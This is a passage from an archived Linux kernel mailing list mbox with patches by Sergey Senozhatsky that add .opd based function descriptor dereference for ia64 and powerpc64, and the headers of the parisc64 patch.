         DJJSyWKzF+xvhpAk9Hwb2Yy9M1pJo0nxsgnyLnWlpikXPE65aLMTZ1ErrCE01UH6hPLu
         9kSLH/PBrnbSs5yGZoTE3l28vgopTQxFJcwp2Nj1uCwK4+j9mP/FvTA0C+pUtGdg+NP9
         A7Pg==
X-Gm-Message-State: AHPjjUhAyM8JKUHpZaWpfRcKeeQEauDmQR4akOCljmVncZwmC9S9jiMK
        WJ3vUb2u1JRc2e35wg+WpBs=
X-Google-Smtp-Source: AOwi7QA3iNOEWVvUk+7DzaNVsQoSw5V2y7a0GlglhFHy8XP+YPHD2+qIqBnhk7MOwcypFWqLtY12gw==
X-Received: by 10.84.178.164 with SMTP id z33mr8781175plb.53.1506740044299;
        Fri, 29 Sep 2017 19:54:04 -0700 (PDT)
Original-Received: from localhost.localdomain ([175.223.27.84])
        by smtp.gmail.com with ESMTPSA id b1sm8680714pgn.94.2017.09.29.19.53.57
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 29 Sep 2017 19:54:03 -0700 (PDT)
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2581049 gmane.linux.ports.ia64:28179 gmane.linux.ports.parisc:27873 gmane.linux.ports.ppc64.devel:148424
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2581049>

There are two format specifiers to print out a pointer in symbolic
format: '%pS/%ps' and '%pF/%pf'. On most architectures, the two
mean exactly the same thing, but some architectures (ia64, ppc64,
parisc64) use an indirect pointer for C function pointers, where
the function pointer points to a function descriptor (which in
turn contains the actual pointer to the code). The '%pF/%pf, when
used appropriately, automatically does the appropriate function
descriptor dereference on such architectures.

The "when used appropriately" part is tricky. Basically this is
a subtle ABI detail, specific to some platforms, that made it to
the API level and people can be unaware of it and miss the whole
"we need to dereference the function" business out. [1] proves
that point (note that it fixes only '%pF' and '%pS', there might
be '%pf' and '%ps' cases as well).

It appears that we can handle everything within the affected
arches and make '%pS/%ps' smart enough to retire '%pF/%pf'.
Function descriptors live in .opd elf section and all affected
arches (ia64, ppc64, parisc64) handle it properly for kernel
and modules. So we, technically, can decide if the dereference
is needed by simply looking at the pointer: if it belongs to
.opd section then we need to dereference it.

The kernel and modules have their own .opd sections, obviously,
that's why we need to split dereference_function_descriptor()
and use separate kernel and module dereference arch callbacks.

This patch does the first step, it
a) adds dereference_kernel_function_descriptor() function.
b) adds a weak alias to dereference_module_function_descriptor()
   function.

So, for the time being, we will have:
1) dereference_function_descriptor()
   A generic function, that simply dereferences the pointer. There is
   bunch of places that call it: kgdbts, init/main.c, extable, etc.

2) dereference_kernel_function_descriptor()
   A function to call on kernel symbols that does kernel .opd section
   address range test.

3) dereference_module_function_descriptor()
   A function to call on modules' symbols that does modules' .opd
   section address range test.

[1] https://marc.info/?l=linux-kernel&m=150472969730573

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Tested-by: Helge Deller <deller@gmx.de> # parisc64
Tested-by: Santosh Sivaraj <santosh@fossix.org> # powerpc64
Acked-by: Michael Ellerman <mpe@ellerman.id.au> # powerpc64
Tested-by: Tony Luck <tony.luck@intel.com> # ia64
---
 include/asm-generic/sections.h | 8 ++++++--
 include/linux/moduleloader.h   | 4 ++++
 kernel/module.c                | 6 ++++++
 3 files changed, 16 insertions(+), 2 deletions(-)

diff --git a/include/asm-generic/sections.h b/include/asm-generic/sections.h
index e5da44eddd2f..387f22c41e0d 100644
--- a/include/asm-generic/sections.h
+++ b/include/asm-generic/sections.h
@@ -29,6 +29,7 @@
  *	__ctors_start, __ctors_end
  *	__irqentry_text_start, __irqentry_text_end
  *	__softirqentry_text_start, __softirqentry_text_end
+ *	__start_opd, __end_opd
  */
 extern char _text[], _stext[], _etext[];
 extern char _data[], _sdata[], _edata[];
@@ -47,12 +48,15 @@ extern char __softirqentry_text_start[], __softirqentry_text_end[];
 /* Start and end of .ctors section - used for constructor calls. */
 extern char __ctors_start[], __ctors_end[];
 
+/* Start and end of .opd section - used for function descriptors. */
+extern char __start_opd[], __end_opd[];
+
 extern __visible const void __nosave_begin, __nosave_end;
 
-/* function descriptor handling (if any).  Override
- * in asm/sections.h */
+/* Function descriptor handling (if any).  Override in asm/sections.h */
 #ifndef dereference_function_descriptor
 #define dereference_function_descriptor(p) (p)
+#define dereference_kernel_function_descriptor(p) (p)
 #endif
 
 /* random extra sections (if any).  Override
diff --git a/include/linux/moduleloader.h b/include/linux/moduleloader.h
index 4d0cb9bba93e..172904e9cded 100644
--- a/include/linux/moduleloader.h
+++ b/include/linux/moduleloader.h
@@ -85,6 +85,10 @@ void module_arch_cleanup(struct module *mod);
 /* Any cleanup before freeing mod->module_init */
 void module_arch_freeing_init(struct module *mod);
 
+/* Dereference module function descriptor */
+unsigned long dereference_module_function_descriptor(struct module *mod,
+						     unsigned long addr);
+
 #ifdef CONFIG_KASAN
 #include <linux/kasan.h>
 #define MODULE_ALIGN (PAGE_SIZE << KASAN_SHADOW_SCALE_SHIFT)
diff --git a/kernel/module.c b/kernel/module.c
index ea77ab13bead..b792e814150a 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -2121,6 +2121,12 @@ void __weak module_arch_freeing_init(struct module *mod)
 {
 }
 
+unsigned long __weak dereference_module_function_descriptor(struct module *mod,
+							    unsigned long addr)
+{
+	return addr;
+}
+
 /* Free a module, remove from lists, etc. */
 static void free_module(struct module *mod)
 {
-- 
2.14.2



From - Thu Nov 08 21:40:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: [PATCHv3 3/7] ia64: Add .opd based function descriptor dereference
Date: Sat, 30 Sep 2017 11:53:15 +0900
Lines: 97
Approved: news@gmane.org
Message-ID: <20170930025319.987-4-sergey.senozhatsky@gmail.com>
References: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1506740064 29905 195.159.176.226 (30 Sep 2017 02:54:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 30 Sep 2017 02:54:24 +0000 (UTC)
Cc: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
To: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Sat Sep 30 04:54:19 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1dy7us-00062g-Mj
	for glpi-linux-ia64-2@m.gmane.org; Sat, 30 Sep 2017 04:54:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752767AbdI3CyS (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Fri, 29 Sep 2017 22:54:18 -0400
Original-Received: from mail-pf0-f196.google.com ([209.85.192.196]:35620 "EHLO
        mail-pf0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752649AbdI3CyQ (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Fri, 29 Sep 2017 22:54:16 -0400
Original-Received: by mail-pf0-f196.google.com with SMTP id i23so850769pfi.2;
        Fri, 29 Sep 2017 19:54:15 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=K+v/0/d6sAf3raDOGxIoPVECJNQChMsKyhodg+/Qr8Q=;
        b=ePbAldmbj3MkOrs1ZswQuWAp/1UDX5C26MvCj7Yzklww2xrGY8fF8FLyMrV6G+lmRJ
         9+WhSIQnCXexIils7nPhTXbvQZa1rflVqTvyxdgQ7CqZlrU7PG/TRimIgmZ2cwtHfVLt
         KZ1zbQ4wQCNIjDbUFrrUc39SMxtEZ+Gf5/vzpfTlibA5zWxGGHTr/H7R5uIvZeu8VoRr
         wfZesFgpugL0gHd+9keLz0a/E0AR2RW/Frx15JM9ebutNrUUgoo29ppulboflDW7q/Yf
         iLe/R8RCsbiPa39ZERqFf3S7Os3YqZGYSSog9ao1JbeZq7MRW78WJ4bJiJyDviKT6weJ
         SPLA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=K+v/0/d6sAf3raDOGxIoPVECJNQChMsKyhodg+/Qr8Q=;
        b=tOoxF2+ZlcbuqCthEeg10uzQN/QkvD1tHYccUa6hfhUUYDKeob2Ow4KXfNk3wvHNOi
         p23kpz7kivYFs7g1gELrHZvRmh+j3RZ62onRMLnXjXEZksvmmdn30w8HYN39Pjs85ZNl
         FSjLaqNpO7CA5Gy6RGPRLkFPGRVuD+lo5WK6XDNI0xx3WQJGz6H6mGB0s8ufvpZM8vWj
         qFTWKywVMpRa2qgffNZYVtZcL+D+NzCT4eWr6aMhQwT6UKghLlDOcz6XpfN6XStCKAnA
         +cYxyUzTlj+O+ZSAepZ8Xkz/HtKYizVy37ezZXy+iQ2I0PM2pQ0ZU9XpGE8LKqCnOxUj
         tqKw==
X-Gm-Message-State: AHPjjUgvmsT1XeYTC70hLk0attZq13EYfEqoJUXk72uhgxTslyQvDZ1q
        3BckZ0i1aQv7xVz9Q4D3VsI=
X-Google-Smtp-Source: AOwi7QA2snFrq1jTdLNyo0A3EVXx2F21jhsCqq4Z1E+9MQ4yGg5cijXWA7tz4lO7SfPPm8I5Lbgsqw==
X-Received: by 10.84.194.1 with SMTP id g1mr8848532pld.74.1506740055445;
        Fri, 29 Sep 2017 19:54:15 -0700 (PDT)
Original-Received: from localhost.localdomain ([175.223.27.84])
        by smtp.gmail.com with ESMTPSA id b1sm8680714pgn.94.2017.09.29.19.54.08
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 29 Sep 2017 19:54:14 -0700 (PDT)
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28180 gmane.linux.ports.parisc:27874 gmane.linux.ports.ppc64.devel:148425 gmane.linux.kernel:2581050
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28180>

We are moving towards separate kernel and module function descriptor
dereference callbacks. This patch enables it for IA64.

For pointers that belong to the kernel
-  Added __start_opd and __end_opd pointers, to track the kernel
   .opd section address range;

-  Added dereference_kernel_function_descriptor(). Now we
   will dereference only function pointers that are within
   [__start_opd, __end_opd];

For pointers that belong to a module
-  Added dereference_module_function_descriptor() to handle module
   function descriptor dereference. Now we will dereference only
   pointers that are within [module->opd.start, module->opd.end].

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Tested-by: Helge Deller <deller@gmx.de> # parisc64
Tested-by: Santosh Sivaraj <santosh@fossix.org> # powerpc64
Acked-by: Michael Ellerman <mpe@ellerman.id.au> # powerpc64
Tested-by: Tony Luck <tony.luck@intel.com> # ia64
---
 arch/ia64/include/asm/sections.h | 10 +++++++++-
 arch/ia64/kernel/module.c        | 13 +++++++++++++
 arch/ia64/kernel/vmlinux.lds.S   |  2 ++
 3 files changed, 24 insertions(+), 1 deletion(-)

diff --git a/arch/ia64/include/asm/sections.h b/arch/ia64/include/asm/sections.h
index de6bfa1ef8fb..3ba7ce9d8bc8 100644
--- a/arch/ia64/include/asm/sections.h
+++ b/arch/ia64/include/asm/sections.h
@@ -37,6 +37,14 @@ static inline unsigned long dereference_function_descriptor(unsigned long ptr)
 	return ptr;
 }
 
+#undef dereference_kernel_function_descriptor
+static inline unsigned long
+dereference_kernel_function_descriptor(unsigned long addr)
+{
+	if (addr < (unsigned long)__start_opd ||
+			addr >= (unsigned long)__end_opd)
+		return addr;
+	return dereference_function_descriptor(addr);
+}
 
 #endif /* _ASM_IA64_SECTIONS_H */
-
diff --git a/arch/ia64/kernel/module.c b/arch/ia64/kernel/module.c
index d1d945c6bd05..0741ae6fa957 100644
--- a/arch/ia64/kernel/module.c
+++ b/arch/ia64/kernel/module.c
@@ -35,6 +35,7 @@
 
 #include <asm/patch.h>
 #include <asm/unaligned.h>
+#include <asm/sections.h>
 
 #define ARCH_MODULE_DEBUG 0
 
@@ -917,3 +918,15 @@ module_arch_cleanup (struct module *mod)
 	if (mod->arch.core_unw_table)
 		unw_remove_unwind_table(mod->arch.core_unw_table);
 }
+
+unsigned long
+dereference_module_function_descriptor(struct module *mod, unsigned long addr)
+{
+	Elf64_Shdr *opd = mod->arch.opd;
+
+	if (addr < opd->sh_addr ||
+			addr >= (opd->sh_addr + opd->sh_size))
+		return addr;
+
+	return dereference_function_descriptor(addr);
+}
diff --git a/arch/ia64/kernel/vmlinux.lds.S b/arch/ia64/kernel/vmlinux.lds.S
index 798026dde52e..f872ba5ff82a 100644
--- a/arch/ia64/kernel/vmlinux.lds.S
+++ b/arch/ia64/kernel/vmlinux.lds.S
@@ -107,7 +107,9 @@ SECTIONS {
 	RODATA
 
 	.opd : AT(ADDR(.opd) - LOAD_OFFSET) {
+		__start_opd = .;
 		*(.opd)
+		__end_opd = .;
 	}
 
 	/*
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCHv3 4/7] powerpc64: Add .opd based function descriptor dereference
Date: Sat, 30 Sep 2017 11:53:16 +0900
Lines: 116
Approved: news@gmane.org
Message-ID: <20170930025319.987-5-sergey.senozhatsky@gmail.com>
References: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1506740072 32042 195.159.176.226 (30 Sep 2017 02:54:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 30 Sep 2017 02:54:32 +0000 (UTC)
Cc: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
To: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Sep 30 04:54:26 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dy7v3-0007Zq-M8
	for glk-linux-kernel-3@m.gmane.org; Sat, 30 Sep 2017 04:54:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752802AbdI3Cy2 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 29 Sep 2017 22:54:28 -0400
Original-Received: from mail-pg0-f68.google.com ([74.125.83.68]:34986 "EHLO
        mail-pg0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752649AbdI3CyY (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 29 Sep 2017 22:54:24 -0400
Original-Received: by mail-pg0-f68.google.com with SMTP id j16so884839pga.2;
        Fri, 29 Sep 2017 19:54:24 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=pHyRusM5cEBProfl5V9JE5l44ygK30WS0SaipSJ1r8o=;
        b=r7PqTAY7bng3zJeu0B1SS8JKWuW6LNGP9oDv0ZDpBv79V3VOzsnfZi7EdPrNGJGTlM
         iejn8wOF0f7zw53gmL+I/z0pMvfqKlRHXcqPVQV0B9a7mI5YmXYc8egjsCsS8jDMGUKq
         DjCWIGN31uEaMj8ER6SP3oWuzI78+P1yACuydOJT4TXxI1EgU6o4ZpsQ9ZQ2a3M9sQkT
         +sWIhlgGZB0SBUpzGWkL24pCF9ig7ChoDggqjioWQCd7vT/M8ETuKOjWnMi592l0GmjG
         SsU8YWvtm3DASphu0o7CjnRWWtYvNaZ7sHOV1IU/bmhkOpeekgW3rGpUX1fxcKQNjup9
         5dKA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=pHyRusM5cEBProfl5V9JE5l44ygK30WS0SaipSJ1r8o=;
        b=IhgS9HJMHHTcC3etGir6K0w4beXs6SoFDoZd51gZBoUAtx/IFxUa9zsFpDo9aISkhH
         uAeHe7FCNpJKZoEfX1WY+P5wfZXZBKElLJteEPoDwJmoMflvuPGaUzze29rCDyHiKQZv
         rrkDWS/+twjTg76eMS4j/AG/0bh32IE3Pk06JcbaLCsog5Vo4E8SPppYLGeQCfBM3bBt
         cFKAO5w8bf5Ii4CUjNn+587GphonT6AciBZjlS5+JbYQskv+GEviRsRsuh0tUPvOUni3
         VAclMqjRZQqiNneVyrWvJie86qtk3sS7gwHsyKLDy+uwwrecICGxrZoiSzIqFUuMycye
         561Q==
X-Gm-Message-State: AHPjjUimt33MOb2+72ih4aB2YLI7f6qEHc3ziH2PPy+ZjdH9mC4Su0ff
        N8GwLQ5x4GazAqSpLH1l23c=
X-Google-Smtp-Source: AOwi7QA8Ld4/Z9FlNnbsVqMr9tcIquia8HmMmhLxYw+ne3EC+J3eW9zHOlMt9kZZUvaMINOs26Oo+w==
X-Received: by 10.98.236.81 with SMTP id k78mr9737468pfh.336.1506740064066;
        Fri, 29 Sep 2017 19:54:24 -0700 (PDT)
Original-Received: from localhost.localdomain ([175.223.27.84])
        by smtp.gmail.com with ESMTPSA id b1sm8680714pgn.94.2017.09.29.19.54.16
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 29 Sep 2017 19:54:23 -0700 (PDT)
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2581051 gmane.linux.ports.ia64:28181 gmane.linux.ports.parisc:27875 gmane.linux.ports.ppc64.devel:148426
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2581051>

We are moving towards separate kernel and module function descriptor
dereference callbacks. This patch enables it for powerpc64.

For pointers that belong to the kernel
-  Added __start_opd and __end_opd pointers, to track the kernel
   .opd section address range;

-  Added dereference_kernel_function_descriptor(). Now we
   will dereference only function pointers that are within
   [__start_opd, __end_opd];

For pointers that belong to a module
-  Added dereference_module_function_descriptor() to handle module
   function descriptor dereference. Now we will dereference only
   pointers that are within [module->opd.start, module->opd.end].

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Tested-by: Helge Deller <deller@gmx.de> # parisc64
Tested-by: Santosh Sivaraj <santosh@fossix.org> # powerpc64
Acked-by: Michael Ellerman <mpe@ellerman.id.au> # powerpc64
Tested-by: Tony Luck <tony.luck@intel.com> # ia64
---
 arch/powerpc/include/asm/module.h   |  3 +++
 arch/powerpc/include/asm/sections.h | 11 +++++++++++
 arch/powerpc/kernel/module_64.c     | 16 ++++++++++++++++
 arch/powerpc/kernel/vmlinux.lds.S   |  2 ++
 4 files changed, 32 insertions(+)

diff --git a/arch/powerpc/include/asm/module.h b/arch/powerpc/include/asm/module.h
index 6c0132c7212f..7e28442827f1 100644
--- a/arch/powerpc/include/asm/module.h
+++ b/arch/powerpc/include/asm/module.h
@@ -45,6 +45,9 @@ struct mod_arch_specific {
 	unsigned long tramp;
 #endif
 
+	/* For module function descriptor dereference */
+	unsigned long start_opd;
+	unsigned long end_opd;
 #else /* powerpc64 */
 	/* Indices of PLT sections within module. */
 	unsigned int core_plt_section;
diff --git a/arch/powerpc/include/asm/sections.h b/arch/powerpc/include/asm/sections.h
index 67379b8945e8..6b4ee0d1645f 100644
--- a/arch/powerpc/include/asm/sections.h
+++ b/arch/powerpc/include/asm/sections.h
@@ -75,6 +75,17 @@ static inline unsigned long dereference_function_descriptor(unsigned long ptr)
 		ptr = (unsigned long)p;
 	return ptr;
 }
+
+#undef dereference_kernel_function_descriptor
+static inline unsigned long
+dereference_kernel_function_descriptor(unsigned long addr)
+{
+	if (addr < (unsigned long)__start_opd ||
+			addr >= (unsigned long)__end_opd)
+		return addr;
+
+	return dereference_function_descriptor(addr);
+}
 #endif /* PPC64_ELF_ABI_v1 */
 
 #endif
diff --git a/arch/powerpc/kernel/module_64.c b/arch/powerpc/kernel/module_64.c
index 0b0f89685b67..94caec045a90 100644
--- a/arch/powerpc/kernel/module_64.c
+++ b/arch/powerpc/kernel/module_64.c
@@ -344,6 +344,11 @@ int module_frob_arch_sections(Elf64_Ehdr *hdr,
 		else if (strcmp(secstrings+sechdrs[i].sh_name,"__versions")==0)
 			dedotify_versions((void *)hdr + sechdrs[i].sh_offset,
 					  sechdrs[i].sh_size);
+		else if (!strcmp(secstrings + sechdrs[i].sh_name, ".opd")) {
+			me->arch.start_opd = sechdrs[i].sh_addr;
+			me->arch.end_opd = sechdrs[i].sh_addr +
+					   sechdrs[i].sh_size;
+		}
 
 		/* We don't handle .init for the moment: rename to _init */
 		while ((p = strstr(secstrings + sechdrs[i].sh_name, ".init")))
@@ -712,6 +717,17 @@ int apply_relocate_add(Elf64_Shdr *sechdrs,
 	return 0;
 }
 
+#ifdef PPC64_ELF_ABI_v1
+unsigned long dereference_module_function_descriptor(struct module *mod,
+						     unsigned long addr)
+{
+	if (addr < mod->arch.start_opd || addr >= mod->arch.end_opd)
+		return addr;
+
+	return dereference_function_descriptor(addr);
+}
+#endif /* PPC64_ELF_ABI_v1 */
+
 #ifdef CONFIG_DYNAMIC_FTRACE
 
 #ifdef CC_USING_MPROFILE_KERNEL
diff --git a/arch/powerpc/kernel/vmlinux.lds.S b/arch/powerpc/kernel/vmlinux.lds.S
index 882628fa6987..70e10251e083 100644
--- a/arch/powerpc/kernel/vmlinux.lds.S
+++ b/arch/powerpc/kernel/vmlinux.lds.S
@@ -277,7 +277,9 @@ SECTIONS
 	}
 
 	.opd : AT(ADDR(.opd) - LOAD_OFFSET) {
+		__start_opd = .;
 		*(.opd)
+		__end_opd = .;
 	}
 
 	. = ALIGN(256);
-- 
2.14.2



From - Thu Nov 08 21:40:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCHv3 5/7] parisc64: Add .opd based function descriptor dereference
Date: Sat, 30 Sep 2017 11:53:17 +0900
Lines: 127
Approved: news@gmane.org
Message-ID: <20170930025319.987-6-sergey.senozhatsky@gmail.com>
References: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1506740084 2985 195.159.176.226 (30 Sep 2017 02:54:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 30 Sep 2017 02:54:44 +0000 (UTC)
Cc: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
To: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Sep 30 04:54:39 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dy7vE-0008LO-Rf
	for glk-linux-kernel-3@m.gmane.org; Sat, 30 Sep 2017 04:54:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752820AbdI3Cyi (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 29 Sep 2017 22:54:38 -0400
Original-Received: from mail-pf0-f194.google.com ([209.85.192.194]:32845 "EHLO
        mail-pf0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752649AbdI3Cyg (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 29 Sep 2017 22:54:36 -0400
Original-Received: by mail-pf0-f194.google.com with SMTP id m28so712142pfi.0;
        Fri, 29 Sep 2017 19:54:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=ruqaY+XaeGuzsVLe3cCY1dnlhxkPJYbioyL70BUnmHk=;
        b=VUk5+DUieFn7LXkImPJB+JGN3OD5FSRx+9aesamn2UaTx6iK/sh6BMit76JpV0UdF2
         F2UyCD03ukUOQ1epbj3/poige9YEzHy7ojRxWfVu3RuU6BR1qzpnKAEmyiozBL8jBeZB
         2Zpaz/KyR7Uv7eGMytneSSyy53+jxA36BIjpCKwK/gWinXgjHcYx/XNCy1YR1SOpsTVu
         671pgJtxDK54PQvyfXjXDKhrUEnW7zayf0MtVX6AMXht+jgnGtw+IFA505EFmteo1EwR
         4GzcOF0QwCea9r8M8+12ClvqidXIY5DaGLu7Yhmu9ES8BNw9IrErwdglTSeGR2m2mVAr
         xXuA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=ruqaY+XaeGuzsVLe3cCY1dnlhxkPJYbioyL70BUnmHk=;
        b=FDFhUvogn6yUdk0UHC2+Qpti69HqHBcmWRgEXikJUf5fEFQnyefRTeku37y9DNEAsc
         PQC8MhZfZLOc0YdRGMgV3ENt3GMWUYTvj9/rfYTuK1pR958aN3UIKlGK796yfR7f/CHl
         0QiZHWXNFXKniRaady/YOyR9H5nzjv5FNKe8WwU0/6ZQWxy/4YqZ7cl9Z3XSToskgZpF
         lGOXMAXBwiqMHS9b0oJuwd9oIJjFnE9Nfu3KAMtWNnt4HET/zYGtT5V7Y0oig1s/sDc/
         JgB/YRvpB+mXmz4GvFqgT70qI2gDMuR5CA3V+5vLzqD6VQaTxGQas2AwBzidX5zkTl7J
         E8Jg==
